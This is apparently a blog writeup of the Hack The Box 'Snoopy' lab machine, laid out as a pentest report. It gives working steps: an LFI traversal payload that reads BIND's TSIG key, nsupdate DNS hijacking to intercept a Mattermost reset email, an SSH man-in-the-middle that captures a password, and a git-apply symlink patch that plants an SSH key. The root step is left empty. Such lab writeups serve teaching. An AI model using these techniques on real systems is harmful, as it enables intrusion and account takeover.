hoS / blog
Post
writeup 2024-02-02 · 9 min read

Hack The Box Snoopy Writeup (Hard Linux)

Hard Linux box. An LFI leaks the BIND TSIG key, nsupdate hijacks the Mattermost reset mail, and sudo git apply writes sbrown's authorized_keys.

Guilherme Alves
HackTheBox Linux Hard Web PHP
Hack The Box Snoopy Writeup (Hard Linux)

Summary

Snoopy serves snoopy.htb alongside a Mattermost instance on mm.snoopy.htb, and a DNS zone transfer against the box lists the internal subdomains. download.php takes a file parameter vulnerable to a traversal filter bypass, which pulls /etc/bind/named.conf and its rndc-key TSIG secret, so nsupdate can add an A record pointing mail.snoopy.htb at the attacking machine. A password reset for sbrown then delivers its token to a local SMTP listener, and logging into Mattermost as that user allows running /server_provision, whose SSH target address is attacker controlled. Pointing it at an sshmitm listener on port 2222 captures cbrown’s password sn00pedcr3dential!!!, which logs straight in over SSH. From there cbrown may run git apply as sbrown, and a patch that renames a symlink into /home/sbrown/.ssh writes an attacker key into authorized_keys. The notes record ClamAV as the route from sbrown to root but stop before the steps.

Independent Challenge - 10.10.11.212

export IP=10.10.11.212

Web Server Enumeration

Vhost: snoopy.htb

Mattermost

Vhost: mm.snoopy.htb Version: 7.9.0. Might be vulnerable to CVE-2023-2515 or CVE-2023-2514 Playbooks 1.36.0

Changing passwords

Vulnerability Explanation: We got the secret to the BIND dns server at /etc/bind/named.conf and were able to add a A record to the dns server associating mail.snoopy.htb to our machine IP. When we request a password reset at http://mm.snoopy.htb/reset_password, the email containing tokens to reset user passwords is sent directly to us. With this token, we can change any user password.

Vulnerability Fix: (…)

Severity: High

Steps to Reproduce the Attack:

  1. Add mail.snoopy.htb to the DNS server, pointing to our local machine (tun0-address). Command:
1
2
3
4
5
6
7

$ nsupdate -d -y hmac-sha256:rndc-key:BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=
Creating key...
namefromtext
keycreate
> server 10.10.11.212
> update add mail.snoopy.htb 3000 IN A 10.10.14.68
> send

  1. Run a simple python smtp server to receive the reset password email: python3 -m smtpd -n -c DebuggingServer 10.10.14.68:25

  2. Go to http://mm.snoopy.htb/reset_password, and use sbrown@snoopy.htb as the email.

  3. Copy the reset password URL with the token, in this case: http://mm.snoopy.htb/reset_password_complete?token=3Dtf766=o1knoenxenh1eoyhmza5rpg13sf3a5akx8zuufc7bjdswdgdkimyoppsq5o. We need to remove “3D” (right after the first “=”), and also the second “=”. The token must have 64 characters in total.

  4. Open the url on your browser and change the user password.

Local File Inclusion - Filter Bypass

Vulnerability Explanation: There’s a file download functionality at http://snoopy.htb/download.php that has a valid parameter: file. We are able to use a filter bypass technique to retrieve internal files on the system.

Vulnerability Fix: (…)

Severity: High

Steps to Reproduce the Attack:

  1. Simply make a get request to http://snoopy.htb/download.php?file=....//....//....//....//....//....//....//....//....//..../FILE-PATH-YOU-WANT-TO-RETRIEVE and get every file you want.

  2. The file will be downloaded inside a zip file, sou you’ll need to unzip it to view it’s contents.

Username Enumeration

Vulnerability Explanation: Employees are listed at http://snoopy.htb/team.html, and that would not be a concern if their usernames were not exposed. This gives useful information to attackers shape their scope to a few users only.

Vulnerability Fix:

Severity: Moderate

Steps to Reproduce the Attack:

  1. Access http://snoopy.htb/team.html and get valid usernames and email addresses:
1
2
3
4
5

sbrown@snoopy.htb
pr@snoopy.htb
cschultz@snoopy.htb
hangel@snoopy.htb
lpelt@snoopy.htb

DNS Enumeration

Zone Transfer

Vulnerability Explanation: A remote attacker is able to get otherwise hidden information about subdomains on the DNS server by a successful DNS zone transfer.

Vulnerability Fix: (…)

Severity: Moderate

Steps to Reproduce the Attack:

  1. Run dig axfr @10.10.11.212 snoopy.htb to transfer zones. Command output:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

$ dig axfr @10.10.11.212 snoopy.htb

; <<>> DiG 9.18.16-1-Debian <<>> axfr @10.10.11.212 snoopy.htb
; (1 server found)
;; global options: +cmd
snoopy.htb.             86400   IN      SOA     ns1.snoopy.htb. ns2.snoopy.htb. 2022032612 3600 1800 604800 86400
snoopy.htb.             86400   IN      NS      ns1.snoopy.htb.
snoopy.htb.             86400   IN      NS      ns2.snoopy.htb.
mattermost.snoopy.htb.  86400   IN      A       172.18.0.3
mm.snoopy.htb.          86400   IN      A       127.0.0.1
ns1.snoopy.htb.         86400   IN      A       10.0.50.10
ns2.snoopy.htb.         86400   IN      A       10.0.51.10
postgres.snoopy.htb.    86400   IN      A       172.18.0.2
provisions.snoopy.htb.  86400   IN      A       172.18.0.4
www.snoopy.htb.         86400   IN      A       127.0.0.1
snoopy.htb.             86400   IN      SOA     ns1.snoopy.htb. ns2.snoopy.htb. 2022032612 3600 1800 604800 86400
;; Query time: 91 msec
;; SERVER: 10.10.11.212#53(10.10.11.212) (TCP)
;; WHEN: Tue Sep 05 09:30:50 EDT 2023
;; XFR size: 11 records (messages 1, bytes 325)

Adding new A entry on DNS

Vulnerability Explanation: Chain of vulnerabilities led to a remote attacker being able to change dns records deliberately. We are able to retrieve BIND config file by exploiting a Local File Inclusion vulnerability at snoopy.htb/download.php?file=LFI. With the secret token in hand, we can add new entries to the dns server.

Vulnerability Fix: (…)

Severity: High

Steps to Reproduce the Attack:

  1. Download the config file for BIND dns server via a sucessful LFI filter bypass: http://snoopy.htb/download.php?file=....//....//....//....//....//....//....//....//....//....//etc/bind/named.conf

  2. Use the tool nsupdate alongside with the secret to change dns records. Details below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

$ nsupdate -d -y hmac-sha256:rndc-key:BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=
Creating key...
namefromtext
keycreate
> server 10.10.11.212
> update add mail.snoopy.htb 3000 IN A 10.10.14.68
> send
Reply from SOA query:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id:  14763
;; flags: qr aa; QUESTION: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; QUESTION SECTION:
;mail.snoopy.htb.               IN      SOA

;; AUTHORITY SECTION:
snoopy.htb.             0       IN      SOA     ns1.snoopy.htb. ns2.snoopy.htb. 2022032612 3600 1800 604800 86400

;; TSIG PSEUDOSECTION:
rndc-key.               0       ANY     TSIG    hmac-sha256. 1693926137 300 32 Dkt/ITrSQjUmtDkkEY26kbmhMCQvAapdRY3urlALYCk= 14763 NOERROR 0 

Found zone name: snoopy.htb
The primary is: ns1.snoopy.htb
Sending update to 10.10.11.212#53
Outgoing update query:
;; ->>HEADER<<- opcode: UPDATE, status: NOERROR, id:  12392
;; flags:; ZONE: 1, PREREQ: 0, UPDATE: 1, ADDITIONAL: 1
;; UPDATE SECTION:
mail.snoopy.htb.        3000    IN      A       10.10.14.68

;; TSIG PSEUDOSECTION:
rndc-key.               0       ANY     TSIG    hmac-sha256. 1693926140 300 32 hXJzrfg0q/8gj13ugHBtjOyjCozvAZNPxoysTY3G2co= 12392 NOERROR 0 


Reply from update query:
;; ->>HEADER<<- opcode: UPDATE, status: NOERROR, id:  12392
;; flags: qr; ZONE: 1, PREREQ: 0, UPDATE: 0, ADDITIONAL: 1
;; ZONE SECTION:
;snoopy.htb.                    IN      SOA

;; TSIG PSEUDOSECTION:
rndc-key.               0       ANY     TSIG    hmac-sha256. 1693926137 300 32 Gcx0DuPuxwq1f7KEpTSOtfj3stgT4WiAYS2vVg7cdA4= 12392 NOERROR 0

Initial Access - SSH Man in the Middle

Vulnerability Explanation: After changing the password of sbrown user by adding a new record to the dns server and receiving the password reset email to the Mattermost instance at vhost mm.snoopy.htb, we are able to use the command /server_provision. This command is intended to request a new server provision, and the user has the ability to select the desired IP address for the staff member to connect to using SSH on port 2222. If we use our own IP address and intercept the ssh connection, we can view the password used by the staff to connect.

Vulnerability Fix: (…)

Severity: High

Steps to Reproduce the Attack:

  1. Log in as sbrown at mm.snoopy.htb

  2. Execute the command /server_provision

  3. Fill the email address field with cbrown@snoopy.htb and the IP address field with your tun-0. Select Linux - TCP/2222 as the Operating System. The department can be anything.

  4. Before hitting “submit”, run a ssh man in the middle server: python3 -m sshmitm server --enable-trivial-auth --remote-host 10.10.11.212 --listen-port 2222

  5. Hit “submit”.

    1. If you get an error when the connection is received, try to uninstall the latest version of “paramiko” using python3 -m pip uninstall paramiko and then install the version 3.1.0: python3 -m pip install paramiko==3.1.0

  6. Copy the password for cbrown (sn00pedcr3dential!!!) and log in using ssh: ssh cbrown@10.10.11.212.

Command output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

$ python3 -m sshmitm server --enable-trivial-auth --remote-host 10.10.11.212 --listen-port 2222
──────────────────────────── SSH-MITM - ssh audits made simple ─────────────────────────────
Version: 3.0.2
License: GNU General Public License v3.0
Documentation: https://docs.ssh-mitm.at
Issues: https://github.com/ssh-mitm/ssh-mitm/issues
────────────────────────────────────────────────────────────────────────────────────────────
generated temporary RSAKey key with 2048 bit length and fingerprints:
   MD5:e1:ed:ed:8a:9f:08:96:9b:03:56:86:2f:59:90:f2:39
   SHA256:V4Wda8y7SnnN8itl+Am478IqNcIJHc65/NwD9jRs+Ks
   SHA512:XWBfbQ8zWQhn4zRGnydQOSywlwR15dl9Ox5q71QdXoEKkAondPyQLF4p4tI7cvu6m9JSotx83btDdyeBKrAMSg                                                                                        
listen interfaces 0.0.0.0 and :: on port 2222
───────────────────────────────── waiting for connections ──────────────────────────────────
[09/05/23 11:08:19] INFO     ℹ session 0135b17b-da3b-4897-b619-d0d9b0880213  
                             created                                                        
                    INFO     ℹ client information:                            
                               - client version: ssh-2.0-paramiko_3.1.0       
                               - product name: Paramiko                                     
                               - vendor url:  https://www.paramiko.org/                     
                             ⚠ client audit tests:                               
                               * client uses same server_host_key_algorithms list for       
                             unknown and known hosts                                        
                               * Preferred server host key algorithm: ssh-ed25519           
[09/05/23 11:08:21] INFO     Remote authentication succeeded                  
                                     Remote Address: 10.10.11.212:22                        
                                     Username: cbrown                                       
                                     Password: sn00pedcr3dential!!!                         
                                     Agent: no agent                                        
                    INFO     ℹ 0135b17b-da3b-4897-b619-d0d9b0880213 - local  
                             port forwading                                                 
                             SOCKS port: 44085                         
                               SOCKS4:                                                
                                 * socat: socat TCP-LISTEN:LISTEN_PORT,fork     
                             socks4:127.0.0.1:DESTINATION_ADDR:DESTINATION_PORT,socksport=44
                             85                                                          
                                 * netcat: nc -X 4 -x localhost:44085 address   
                             port                                                           
                               SOCKS5:                                                
                                 * netcat: nc -X 5 -x localhost:44085 address   
                             port                                                           
                    INFO     got ssh command: ls -la                                        
[09/05/23 11:08:22] INFO     ℹ 0135b17b-da3b-4897-b619-d0d9b0880213 - session
                             started                                                        
                    INFO     got remote command: ls -la                                     
                    INFO     remote command 'ls -la' exited with code: 0                    
                    ERROR    Socket exception: Connection reset by peer (104)               
                    INFO     ℹ session 0135b17b-da3b-4897-b619-d0d9b0880213  
                             closed

Post Exploitation

LPE to sbrown

Vulnerability Explanation: User cbrown can run git apply as the user sbrown. Meaning that we can apply patches to git repositories. An attacker can leverage this capability by creating a symbolic link another folder, that is outside of the folder of the git repository, potentially overwriting files.

Vulnerability Fix: (…)

Severity: High

Steps to Reproduce the Attack:

  1. Generate a ssh key on your machine: ssh-keygen

  2. On the target machine, execute the following commands to create a directory, initialize git inside that directory, create a symbolic link to /home/sbrown/.ssh and create a patch file to overwrite sbrown’s authorized_keys, replacing the original content with ours public key (id_rsa.pub):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

cd ~
mkdir repo
cd repo
git init
ln -s /home/sbrown/.ssh symlink
echo "diff --git a/symlink b/renamed-symlink
similarity index 100%
rename from symlink
rename to renamed-symlink
diff --git a/renamed-symlink/create-me b/renamed-symlink/authorized_keys
new file mode 100644
index 0000000..039727e
--- /dev/null
+++ b/renamed-symlink/authorized_keys
@@ -0,0 +1 @@
+ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDKPPX4cnrCNay/jr7Iw0qBdRRrPC31rNxEr/zZkOyQyvSowG1YubigMPl7eR5O6hkIFd235TpwMfAlIFBkK73495jE0v+BGpoVqHWxHmb9ull4nYoiA0KgFG5kHeVpDAXLBgSPCLKW+dbm/8vbuB4ysfbphWw6a1nAFtgFC/F+4NTmpX8wVtF/lBmDwTBGLl3gwjvLbRu7qC5z+fsiJ9gD0GDd/0kEvfGOCAEN76HjEgfKs6XgzzFLJX9Uu1uZYaPFePL8iIkidLToLsNnXyFiI7b0y10eaNIQnw1LY9+GKOMFwr3xcf3CChCLxna4ArwFfNnf3B8k/njQwyuzNvm6U9eVgLPxzmxgXIqSpgWsGwvyx8n8Fu8SvqJInjOCqNnPOb+TJKzw71SBNZMPD4uUnQDTz7LMgOe58KDULjVf2w3F502fjrpQRr5Z6Bt2vxCHstSYRcKL0DvqGhNJPwmvsCwJXVwYi2YN5j1cRUo3UufVNkEDiLzj7Szg0XRn6Y0= kali@kali" > patch
sudo -u sbrown /usr/bin/git apply -v patch
  1. Log in via ssh to sbrown without password: ssh sbrown@10.10.11.212

LPE to root

Vulnerability Explanation: ClamAV

Vulnerability Fix:

Severity: Extreme

Steps to Reproduce the Attack:

Writeups HackTheBox
HackTheBox Linux Hard Web PHP LFI Path Traversal Virtual Host DNS Mattermost password-reset SSH Lateral Movement Sudo ssh-keys Privilege Escalation
This post is licensed under CC BY 4.0 by the author.